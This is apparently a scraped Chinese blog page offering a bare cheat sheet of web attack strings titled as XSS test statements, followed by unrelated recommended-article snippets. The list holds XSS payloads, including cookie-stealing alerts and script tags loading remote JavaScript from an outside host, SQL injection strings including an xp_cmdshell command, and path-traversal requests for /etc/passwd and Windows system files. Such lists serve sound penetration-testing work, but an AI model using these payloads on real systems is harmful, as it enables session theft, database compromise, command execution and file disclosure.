cclsoft
cclsoft

XSS测试语句大全

'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<s&#99;ript>alert('XSS')</script>
<img src="javas&#99;ript:alert('XSS')">
%0a%0a<script>alert(/"Vulnerable/")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
&lt;script&gt;alert('Vulnerable');&lt;/script&gt
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:/inetpub/wwwroot/?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
../../../../../../../../windows/system.ini
/../../../../../../../../windows/system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG src="/javascript:alert"('XSS')>
<IMG src="/JaVaScRiPt:alert"('XSS')>
<IMG src="/JaVaScRiPt:alert"(&quot;XSS&quot;)>
<IMG src="/&";#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>
<IMG src="/&";#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG src="/&";#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
"<IMG src="/java"/0script:alert(/"XSS/")>";' > out
<IMG SRC=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG src="/livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src="/javascript:alert"('XSS')></IFRAME>
<FRAMESET><FRAME src="/javascript:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im/port'/ja/vasc/ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre/ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript:alert('XSS')"
<!--＃e xec cmd="/bin/echo '<SCRIPT SRC'"--><!--＃e xec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

 

你可能感兴趣的:(JavaScript,session,测试,url,VBScript,stylesheet)

  • 一个简易的短地址服务小练习 MeshddY c语言
    从零实现一个简易的本地短地址服务练习：原理详解与C语言实践（示意图：长URL与短地址转换过程）一、需求背景1.1为什么需要短地址？节省字符空间：在短信、社交媒体等场景中缩短长链接美化展示：提升营销链接的可读性和点击率访问统计：通过短地址追踪访问数据1.2核心功能需求功能输入输出生成短地址原始URL（最长2048字符）5位短码（如abc12）查询原始地址5位短码对应的原始URL访问统计自动记录显示每
  • 一个 可以在线播放 m3u8 的网页（非常实用） 西门吹雪1998 腾讯云前端
    之前在做安卓直播流hls播放的功能，有时候失败了，不知道啥问题，就一直想着找一个可以在线播放的地方测试一下，找了好久终于找到一个，记录一下，以防下次需要用到。地址：https://m3u8player.org
  • C# 中的 .Select() 方法与 JavaScript 中的 .map() 方法功能类似，都是用于对集合中的每个元素进行转换并返回新的集合。 NPCZ c#javascript
    一、核心功能对比1.JavaScript的.map()遍历数组，对每个元素执行回调函数，并返回包含结果的新数组：constnumbers=[1,2,3];constsquared=numbers.map(x=>x*x);//结果：[1,4,9]2.C#的.Select()遍历集合（如List、IEnumerable），对每个元素应用转换函数，并返回新的序列：varnumbers=newList{1
  • 快速创建Chrome浏览器二维码生成插件的完全指南 不爱说话的我
    本文还有配套的精品资源，点击获取简介：Chrome简易二维码插件是一个JavaScript开发的浏览器扩展，用于快速生成链接或文本内容的二维码，方便用户扫描分享。该插件简化了二维码生成过程，提升用户体验。开发此插件需要掌握浏览器扩展开发、事件监听、二维码库使用、DOM操作、错误处理等关键技术点。开发者还应考虑性能优化、设备适配及无障碍设计原则。本插件的实际案例能够帮助开发者提高Web开发技能，并为
  • 极简二维码生成器：Chrome插件推荐 郁铎舒
    极简二维码生成器：Chrome插件推荐chrome-qrcodechrome-qrcode-一个Chrome浏览器插件，可以生成当前URL或选中文本的二维码，或解码网页上的二维码。项目地址:https://gitcode.com/gh_mirrors/ch/chrome-qrcode项目介绍chrome-qrcode是一款极简的Chrome插件，旨在将当前页面的URL地址快速转换成二维码。无论你是
  • IEC61850 通信协议测试验证方法详解 alonetown IEC61850详解网络通信协议测试IEC61850
    一、MMS协议测试方法MMS（制造报文规范）是IEC61850中用于设备监控和控制的核心协议，测试需覆盖以下维度：（一）协议栈实现验证连接管理测试测试用例：建立和释放MMS连接100次，检查是否存在连接泄漏或超时异常验证点：#伪代码示例：验证MMS连接建立超时符合标准（通常≤10s）deftest_mms_connection_timeout():connect_time=measure_time
  • maven 核心概念 weixin_33970449 java
    1).项目构建过程中的各个环节1.清理2.编译3.测试4.报告5.打包6.安装7.部署2).配置环境变量1.配置JDK配置JAVA_HOME+PATHmaven需要用于打包2.配置MAVEN_HOME/M2_HOME+PATH以上都分为两步：home:到bin的上一层目录path:到bin3).核心概念1.约定的目录结构2.POM3.坐标4.依赖5.仓库6.生命周期/插件/目标7.继承8.聚合4)
  • 【DBA手记】-MySQL小版本升级文档-从5.7.30升级到5.7.42 DBA.superSong MySQLdbamysql
    【DBA手记】-MySQL小版本升级文档-从5.7.30升级到5.7.42本文档先在测试环境下验证,后在准生产环境也作了验证.为了更安全,建议先用mydumper或mysqldump或xtraback等常用备份工具做好备份工作.备注:本文是整理的之前一个笔记author:superSongEmail:[email protected]背景及环境因扫描出mysql有安全漏洞,解决方案那就为升
  • quasar框架切换Tab页使用＜keep-alive＞缓存
    写法1:使用quasar的q-tabs组件使用方法//布局样式根据需求自己设置import{ref,shallowRef,watch,nextTick,onMounted,inject,reactive,computed,toRefs,getCurrentInstance,onUnmounted,watchEffect}from'vue'importhourlyQueryComfrom'./hou
  • Maven Compiler Plugin 小莫分享 JAVAjava
    1.插件目标编译插件用于编译Maven项目的源代码。该插件有两个目标，已经绑定到默认生命周期的特定阶段：编译-编译主源文件测试编译-编译测试源文件这是POM中的编译插件：maven-compiler-plugin3.12.1...2.配置默认情况下，编译插件会编译兼容Java5的源代码，并且生成的类也与使用的JDK无关，可以在配置元素中修改这些设置：1.81.8
  • C#.NET Ninject 详解 c#.net
    简介Ninject是一个轻量级、易扩展的开源.NET依赖注入（DI）容器，适用于.NETFramework、.NETCore、Xamarin等多平台。设计目标：简单直观、可测试、高可扩展性，支持多种绑定策略和拦截器（AOP）。核心组件组件作用IKernel容器核心接口，负责所有绑定和解析；通常使用StandardKernel实例Module将相关绑定逻辑封装，按需加载Binding描述接口到实现的
  • spring-test集成测试框架在实际的项目中的应用和实例说明 噔噔噔噔@ 软件测试基础及工具分享软件测试面试题专栏spring集成测试java
    spring-test是Spring框架提供的测试模块，专门用于支持Spring应用的集成测试。它能够加载Spring上下文、注入依赖、模拟HTTP请求等，非常适合测试SpringBoot或SpringMVC项目中的控制器、服务层和持久层。以下是spring-test在实际项目中的应用和实例说明1.集成测试的基本配置spring-test提供了@SpringBootTest注解，用于启动完整的Sp
  • （十五）Spring Test Kyrie_Li Springspringjava后端
    SpringTest是SpringFramework提供的一个模块，旨在简化Java应用程序中的单元测试和集成测试。SpringTest使用JUnit作为其测试框架的基础。通过SpringTest，开发者可以更加方便地进行测试，尤其是在涉及Spring的各个功能模块（如依赖注入、事务管理、数据库操作等）时。SpringTest提供了多种工具，帮助开发者在开发过程中进行自动化测试，从而提高代码的可靠
  • Class5多层感知机的从零开始实现 Morning的呀 深度学习深度学习机器学习pytorch
    Class5多层感知机的从零开始实现importtorchfromtorchimportnnfromd2limporttorchasd2l#设置批量大小为256batch_size=256#初始化训练集和测试集迭代器，每次训练一个批量train_iter,test_iter=d2l.load_data_fashion_mnist(batch_size)#构建一个单隐藏层的前馈神经网络(MLP)#n
  • JavaWeb开发3 偷萧逸苦茶 前端javascript开发语言
    JavaScript一门跨平台、面向对象的脚本语言，用来控制网页行为，能使网页可交互js引入方式内部脚本：将JS代码定义在HTML页面中JavaScript代码必须位于在HTML文档中，可以在任意地方，放置任意数量的一般会把脚本置于元素的底部，可以改善显示速度外部脚本：将JS代码定义在外部JS文件中，然后引入到HTML页面中外部JS文件中，只包含JS代码，不包含标签标签不能自闭和    焦点访谈-
  • Rust实战：生成酷炫链接相关玩法 KENYCHEN奉孝 Rustrust开发语言鸿蒙
    RustApp链接生成实例通过Rust生成酷炫链接的玩法多种多样，涵盖短链接生成、动态参数解析、自定义协议处理等。以下是实例中的部分精选示例：短链接服务使用reqwest和serde调用第三方短链接API（如Bitly）：usereqwest::Client;useserde_json::json;asyncfnshorten_url(long_url:&str)->Result{letclien
  • Huawei 6730 Switch software upgrade example版本升级 funnycoffee123 华为java前端
    Huawei6730Switchsoftwareupgradeexample版本V1.0密级•开放内部•机密类型讨论版•测试版•正式版修订记录修订日期修订人版本号审核人修订说明目录1背景32升级步骤32.1备份当前配置32.2备份当前版本文件32.2.1交换机连接ftpserver32.2.2备份当前老版本文件到ftpserver42.2.3备份当前配置文件到ftpserver42.3拷贝新版
  • 顶级测试工程师的“产品思维”修炼手册
    摘要：你是否也曾陷入这样的困境：技术栈玩得再溜，也总感觉自己只是个“功能验证机器”？你提的“致命Bug”，在产品经理眼里却只是“小瑕疵”？这背后，是你与业务之间隔着的那层“可悲的厚障壁”。本文将彻底打破这层壁，为你献上一套从0到1培养“业务感”与“产品思维”的实战心法，教你如何从一个技术执行者，蜕变为能深刻理解用户、洞察商业，并为产品成功贡献核心价值的“业务伙伴”。一、引言：那个“最熟悉的陌生人”
  • 告别迷茫：测试新人入职第一年的生存与进阶指南 996小白的进阶路 软件测试测试新人职业规划自动化测试避坑指南
    摘要：恭喜你踏入软件测试的行列！初入职场，面对全新的环境、海量的业务知识和技术术语，你是否感到一丝兴奋，又夹杂着些许迷茫？本文将为你梳理入职后黄金6-12个月的学习路线图，并点出那些常见的“坑”，助你平稳度过新手期，快速成长为团队中不可或缺的一员。前言“你好，我是新来的测试工程师。”当你向团队成员说出这句话时，一个充满挑战与机遇的职业生涯就此展开。测试工作绝非大家刻板印象中的“点点点”，它是一门需
  • 如何设计出覆盖率高且有效的测试用例？有哪些经典的测试用例设计方法？ 996小白的进阶路 测试用例运维
    如何设计出覆盖率高且有效的测试用例？深入解析经典测试用例设计方法在软件开发生命周期中，测试是确保产品质量、提升用户体验和维护品牌声誉的关键环节。而测试的核心在于“测试用例”——一组精心设计的输入、执行条件、预期结果和实际结果的集合。一个平庸的测试用例可能只是走个过场，而一个优秀的测试用例则能像精准的手术刀一样，直击软件的薄弱环节。那么，如何才能设计出覆盖率高且有效的测试用例呢？这不仅仅是一门技术，
  • springboot《计算机网络》在线学习平台设计与实现
    目录部分效果实现截图本系统介绍关于我开发技术详细介绍核心代码参考示例系统测试源码获取详细视频演示或者查看其他版本：文章底部获取博主联系方式！部分效果实现截图本系统介绍前端页面数据处理传输以及页面展示使用Vue技术采用B/S架构，使用Maven作为项目管理工具，使用Springboot+Mybatis做整合开发,springboot《计算机网络》在线学习平台设计与实现采用的开发工具：IntelliJ
  • Java测试题一
    1.基本数据类型有哪些？基本数据类型有8个：整数：byte、int、long、short。浮点型：float、double。布尔型boolean。字符型：char2.下列代码的输出是什么？为什么？publicstaticvoidmain(String[]args){bytea=127;byteb=(byte)(a+1);System.out.println(b);}输出为-128，因为byte类型
  • 【WRFDA教程第二期】运行WRFDA 3DVAR/4DVAR数据同化
    目录一、准备阶段：下载并解压测试数据二、运行3DVAR教学实验日志分析（wrfda.log）进阶实验建议：对比不同设置的影响输出文件说明三、运行4DVAR教学实验步骤1：准备工作目录与环境变量步骤2：链接可执行文件与输入数据步骤3：配置namelist.input步骤4：可选-使用边界条件控制变量（var4d_lbc）如果使用PREPBUFR格式观测数据运行WRFDA4DVAR输出文件说明另：运行
  • 【软件测试】什么样的项目适合做自动化测试？自动化测试有需要那些技术？
    少部分从事软件自动化测试，会接触底层服务端、API、Web、APP、H5等等，对自动化有了解。想做自动化，首先得了解一下自动化测试的一些常见问题。也是面试时，必问的一些问题（这么简单的面试问题，你却答的一塌糊涂），如果对自动化完全不了解，每天在那嚷嚷要做自动化，都是空喊。自动化测试一些问题1.什么是自动化测试？自动化测试，顾名思义，自动完成测试工作。通过一些自动化测试工具或自己造轮子实现模拟之前人
  • jmeter如何做自动化接口测试？ AIZHINAN jmeter自动化接口测试jmeter接口测试
    JMeter不仅可以做性能测试，还能用于自动化接口测试，结合断言、参数化和报告生成，实现持续集成（CI）。以下是简明步骤：2小时讲解自动化测试工具Jmeter，如何实现接口测试（快速上手教程）1.核心步骤（1）创建测试计划新建ThreadGroup（线程组），设置线程数=1（单次执行）。添加HTTPRequest定义接口请求（URL、Method、Headers、Body）。（2）参数化CSV文件
  • Web 项目如何自动化测试？
    Web项目的自动化测试可以通过UI自动化和接口自动化结合实现，提高测试效率和覆盖率。以下是关键方法和工具：【自动化测试】从基础到实战基于Pytest自动化/python自动化的详细教程！1.UI自动化测试（前端交互）适用场景：页面功能、表单提交、按钮点击、UI兼容性测试。常用工具：Selenium（Python/Java）：支持多浏览器，结合Pytest管理用例。Cypress（JavaScrip
  • usb3.0开发 小xiao白 usb3.0
    CYUSB3014开发板开发开发环境：SDK开发工具，编辑器和编译器使用Eclipse，使用固件例程slavefifo。测试数据使用controlcenter，测试速率使用streamer，均在Cypress下。相关文档在：SDK默认安装路径/Cypress/EZ-USBFX3SDK/1.3/doc下。本项目使用了EP0的in和out端点作为控制端点EP1的in和out端点作为pc与fpga传输数
  • Linux安装及常用指令
    一、Linux安装简述1.常见Linux发行版发行版特点Ubuntu最流行，用户友好，社区支持强，适合新手CentOS/RockyLinux企业级稳定版本，适合服务器Debian稳定、安全，适合开发或服务器ArchLinux极简、自由度高，适合进阶用户KaliLinux渗透测试专用2.安装方式✅推荐：虚拟机安装（安全、不破坏主系统）工具：VMware/VirtualBox安装流程：下载ISO镜像（
  • JavaScript 中 HTML 转纯文本的最高效方法
    JavaScript中HTML转纯文本的最高效方法在JavaScript中，将HTML转换为纯文本有多种实现方式，你提供的div.textContent方法是最常见的，但在处理大量HTML或复杂场景时，可能需要更高效的方案。以下是几种方法的对比和推荐：一、原生方法对比1.使用textContent（最简洁，兼容性好）javascriptfunctionhtmlToText(html){constd
  • javascript的类，ES6模块写法在VSCODE中智能提示 专注VB编程开发20年 javascriptvscode开发语言
    onststringlib=newStringLib();,必须NEW对象吗？有没有像VB.ENT一样的静态类或模块？用模块名.函数方式智能提示？在JavaScript中，你可以通过以下几种方式实现类似VB.NET的静态类或模块功能，直接使用模块名。函数的方式调用，并获得VSCode的智能提示：方法一：使用普通对象（最简洁）直接定义一个对象字面量，将所有方法作为其属性。通过JSDoc注释提供类型信
  • 矩阵求逆（JAVA）利用伴随矩阵 qiuwanchi 利用伴随矩阵求逆矩阵
    package gaodai.matrix; import gaodai.determinant.DeterminantCalculation; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * 矩阵求逆(利用伴随矩阵) * @author 邱万迟
  • 单例（Singleton）模式 aoyouzi 单例模式Singleton
    3.1           概述 如果要保证系统里一个类最多只能存在一个实例时，我们就需要单例模式。这种情况在我们应用中经常碰到，例如缓存池，数据库连接池，线程池，一些应用服务实例等。在多线程环境中，为了保证实例的唯一性其实并不简单，这章将和读者一起探讨如何实现单例模式。 3.2
  • [开源与自主研发]就算可以轻易获得外部技术支持,自己也必须研发 comsci 开源
          现在国内有大量的信息技术产品，都是通过盗版，免费下载，开源，附送等方式从国外的开发者那里获得的。。。。。。        虽然这种情况带来了国内信息产业的短暂繁荣，也促进了电子商务和互联网产业的快速发展，但是实际上，我们应该清醒的看到，这些产业的核心力量是被国外的
  • 页面有两个frame,怎样点击一个的链接改变另一个的内容 Array_06 UIXHTML
    <a src="地址"  targets="这里写你要操作的Frame的名字" />搜索 然后你点击连接以后你的新页面就会显示在你设置的Frame名字的框那里 targerts="",就是你要填写目标的显示页面位置 ===================== 例如： <frame src=&
  • Struts2实现单个/多个文件上传和下载 oloz 文件上传struts
    struts2单文件上传：     步骤01:jsp页面 <!--在进行文件上传时，表单提交方式一定要是post的方式，因为文件上传时二进制文件可能会很大，还有就是enctype属性，这个属性一定要写成multipart/form-data，不然就会以二进制文本上传到服务器端--> 　　<form action="fileUplo
  • 推荐10个在线logo设计网站 362217990 logo
    在线设计Logo网站。 1、http://flickr.nosv.org（这个太简单） 2、http://www.logomaker.com/?source=1.5770.1 3、http://www.simwebsol.com/ImageTool 4、http://www.logogenerator.com/logo.php?nal=1&tpl_catlist[]=2 5、ht
  • jsp上传文件 香水浓 jspfileupload
    1. jsp上传 Notice： 1. form表单 method 属性必须设置为 POST 方法 ，不能使用 GET 方法 2. form表单 enctype 属性需要设置为 multipart/form-data 3. form表单 action 属性需要设置为提交到后台处理文件上传的jsp文件地址或者servlet地址。例如 uploadFile.jsp 程序文件用来处理上传的文
  • 我的架构经验系列文章 - 前端架构 agevs JavaScriptWeb框架UIjQuer
    框架层面：近几年前端发展很快，前端之所以叫前端因为前端是已经可以独立成为一种职业了，js也不再是十年前的玩具了，以前富客户端RIA的应用可能会用flash/flex或是silverlight，现在可以使用js来完成大部分的功能，因此js作为一门前端的支撑语言也不仅仅是进行的简单的编码，越来越多框架性的东西出现了。越来越多的开发模式转变为后端只是吐json的数据源，而前端做所有UI的事情。MVCMV
  • android ksoap2 中把XML(DataSet) 当做参数传递 aijuans android
    我的android app中需要发送webservice ，于是我使用了 ksop2 进行发送，在测试过程中不是很顺利,不能正常工作.我的web service 请求格式如下     [html]  view plain copy   <Envelope xmlns="http://schemas.
  • 使用Spring进行统一日志管理 + 统一异常管理 baalwolf spring
    统一日志和异常管理配置好后，SSH项目中，代码以往散落的log.info() 和 try..catch..finally 再也不见踪影！ 统一日志异常实现类： [java]  view plain copy   package com.pilelot.web.util;      impor
  • Android SDK 国内镜像 BigBird2012 android sdk
    一、镜像地址： 1、东软信息学院的 Android SDK 镜像，比配置代理下载快多了。 配置地址， http://mirrors.neusoft.edu.cn/configurations.we#android 2、北京化工大学的： IPV4:ubuntu.buct.edu.cn  IPV4:ubuntu.buct.cn IPV6:ubuntu.buct6.edu.cn
  • HTML无害化和Sanitize模块 bijian1013 JavaScriptAngularJSLinkySanitize
    一.ng-bind-html、ng-bind-html-unsafe         AngularJS非常注重安全方面的问题，它会尽一切可能把大多数攻击手段最小化。其中一个攻击手段是向你的web页面里注入不安全的HTML，然后利用它触发跨站攻击或者注入攻击。         考虑这样一个例子，假设我们有一个变量存
  • [Maven学习笔记二]Maven命令 bit1129 maven
    mvn compile compile编译命令将src/main/java和src/main/resources中的代码和配置文件编译到target/classes中，不会对src/test/java中的测试类进行编译 MVN编译使用 maven-resources-plugin:2.6:resources maven-compiler-plugin:2.5.1:compile &nbs
  • 【Java命令二】jhat bit1129 Java命令
    jhat用于分析使用jmap dump的文件，，可以将堆中的对象以html的形式显示出来，包括对象的数量，大小等等，并支持对象查询语言。 jhat默认开启监听端口7000的HTTP服务，jhat是Java Heap Analysis Tool的缩写 1. 用法： [hadoop@hadoop bin]$ jhat -help Usage: jhat [-stack <bool&g
  • JBoss 5.1.0 GA:Error installing to Instantiated: name=AttachmentStore state=Desc ronin47
    进到类似目录 server/default/conf/bootstrap，打开文件 profile.xml找到： Xml代码<bean    name="AttachmentStore"  class="org.jboss.system.server.profileservice.repository.AbstractAtta
  • 写给初学者的6条网页设计安全配色指南 brotherlamp UIui自学ui视频ui教程ui资料
    网页设计中最基本的原则之一是，不管你花多长时间创造一个华丽的设计，其最终的角色都是这场秀中真正的明星——内容的衬托     我仍然清楚地记得我最早的一次美术课，那时我还是一个小小的、对凡事都充满渴望的孩子，我摆放出一大堆漂亮的彩色颜料。我仍然记得当我第一次看到原色与另一种颜色混合变成第二种颜色时的那种兴奋，并且我想，既然两种颜色能创造出一种全新的美丽色彩，那所有颜色
  • 有一个数组，每次从中间随机取一个，然后放回去，当所有的元素都被取过，返回总共的取的次数。写一个函数实现。复杂度是什么。 bylijinnan java算法面试
    import java.util.Random; import java.util.Set; import java.util.TreeSet; /** * http://weibo.com/1915548291/z7HtOF4sx * #面试题#有一个数组，每次从中间随机取一个，然后放回去，当所有的元素都被取过，返回总共的取的次数。 * 写一个函数实现。复杂度是什么
  • struts2获得request、session、application方式 chiangfai application
    1、与Servlet API解耦的访问方式。 a.Struts2对HttpServletRequest、HttpSession、ServletContext进行了封装，构造了三个Map对象来替代这三种对象要获取这三个Map对象，使用ActionContext类。 ----->   package pro.action; import java.util.Map; imp
  • 改变python的默认语言设置 chenchao051 python
    import sys sys.getdefaultencoding()  可以测试出默认语言，要改变的话，需要在python lib的site-packages文件夹下新建： sitecustomize.py， 这个文件比较特殊，会在python启动时来加载，所以就可以在里面写上： import sys sys.setdefaultencoding('utf-8') &n
  • mysql导入数据load data infile用法 daizj mysql导入数据
    我们常常导入数据！mysql有一个高效导入方法，那就是load data infile 下面来看案例说明 基本语法： load data  [low_priority] [local] infile 'file_name txt' [replace | ignore] into table tbl_name [fields [terminated by't'] [OPTI
  • phpexcel导入excel表到数据库简单入门示例 dcj3sjt126com PHPExcel
    跟导出相对应的，同一个数据表，也是将phpexcel类放在class目录下，将Excel表格中的内容读取出来放到数据库中 <?php error_reporting(E_ALL); set_time_limit(0); ?> <html> <head> <meta http-equiv="Content-Type"
  • 22岁到72岁的男人对女人的要求 dcj3sjt126com
    22岁男人对女人的要求是：一，美丽，二，性感，三，有份具品味的职业，四，极有耐性，善解人意，五，该聪明的时候聪明，六，作小鸟依人状时尽量自然，七，怎样穿都好看，八，懂得适当地撒娇，九，虽作惊喜反应，但看起来自然，十，上了床就是个无条件荡妇。 32岁的男人对女人的要求，略作修定，是：一，入得厨房，进得睡房，二，不必服侍皇太后，三，不介意浪漫蜡烛配盒饭，四，听多过说，五，不再傻笑，六，懂得独
  • Spring和HIbernate对DDM设计的支持 e200702084 DAO设计模式springHibernate领域模型
    A：数据访问对象     DAO和资源库在领域驱动设计中都很重要。DAO是关系型数据库和应用之间的契约。它封装了Web应用中的数据库CRUD操作细节。另一方面，资源库是一个独立的抽象，它与DAO进行交互，并提供到领域模型的“业务接口”。    资源库使用领域的通用语言，处理所有必要的DAO，并使用领域理解的语言提供对领域模型的数据访问服务。
  • NoSql 数据库的特性比较 geeksun NoSQL
    Redis 是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。目前由VMware主持开发工作。   1. 数据模型 作为Key-value型数据库，Redis也提供了键（Key）和值（Value）的映射关系。除了常规的数值或字符串，Redis的键值还可以是以下形式之一： Lists （列表） Sets
  • 使用 Nginx Upload Module 实现上传文件功能 hongtoushizi nginx
    转载自： http://www.tuicool.com/wx/aUrAzm   普通网站在实现文件上传功能的时候，一般是使用Python，Java等后端程序实现，比较麻烦。Nginx有一个Upload模块，可以非常简单的实现文件上传功能。此模块的原理是先把用户上传的文件保存到临时文件，然后在交由后台页面处理，并且把文件的原名，上传后的名称，文件类型，文件大小set到页面。下
  • spring-boot-web-ui及thymeleaf基本使用 jishiweili springthymeleaf
    视图控制层代码demo如下：   @Controller @RequestMapping("/") public class MessageController { private final MessageRepository messageRepository; @Autowired public MessageController(Mes
  • 数据源架构模式之活动记录 home198979 PHP架构活动记录数据映射
    hello!架构 一、概念 活动记录（Active Record）：一个对象，它包装数据库表或视图中某一行，封装数据库访问，并在这些数据上增加了领域逻辑。 对象既有数据又有行为。活动记录使用直截了当的方法，把数据访问逻辑置于领域对象中。   二、实现简单活动记录 活动记录在php许多框架中都有应用，如cakephp。 <?php /** * 行数据入口类 *
  • Linux Shell脚本之自动修改IP pda158 linuxcentosDebian脚本
    作为一名 Linux SA，日常运维中很多地方都会用到脚本，而服务器的ip一般采用静态ip或者MAC绑定，当然后者比较操作起来相对繁琐，而前者我们可以设置主机名、ip信息、网关等配置。修改成特定的主机名在维护和管理方面也比较方便。如下脚本用途为：修改ip和主机名等相关信息，可以根据实际需求修改，举一反三！ #!/bin/sh #auto Change ip netmask ga
  • 开发环境搭建 独浮云 eclipsejdktomcat
           最近在开发过程中，经常出现MyEclipse内存溢出等错误，需要重启的情况，好麻烦。对于一般的JAVA+TOMCAT项目开发，其实没有必要使用重量级的MyEclipse，使用eclipse就足够了。尤其是开发机器硬件配置一般的人。         &n
  • 操作日期和时间的工具类 vipbooks 工具类
       大家好啊，好久没有来这里发文章了，今天来逛逛，分享一篇刚写不久的操作日期和时间的工具类，希望对大家有所帮助。 /* * @(#)DataFormatUtils.java 2010-10-10 * * Copyright 2010 BianJing,All rights reserved. */ package test; impor
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他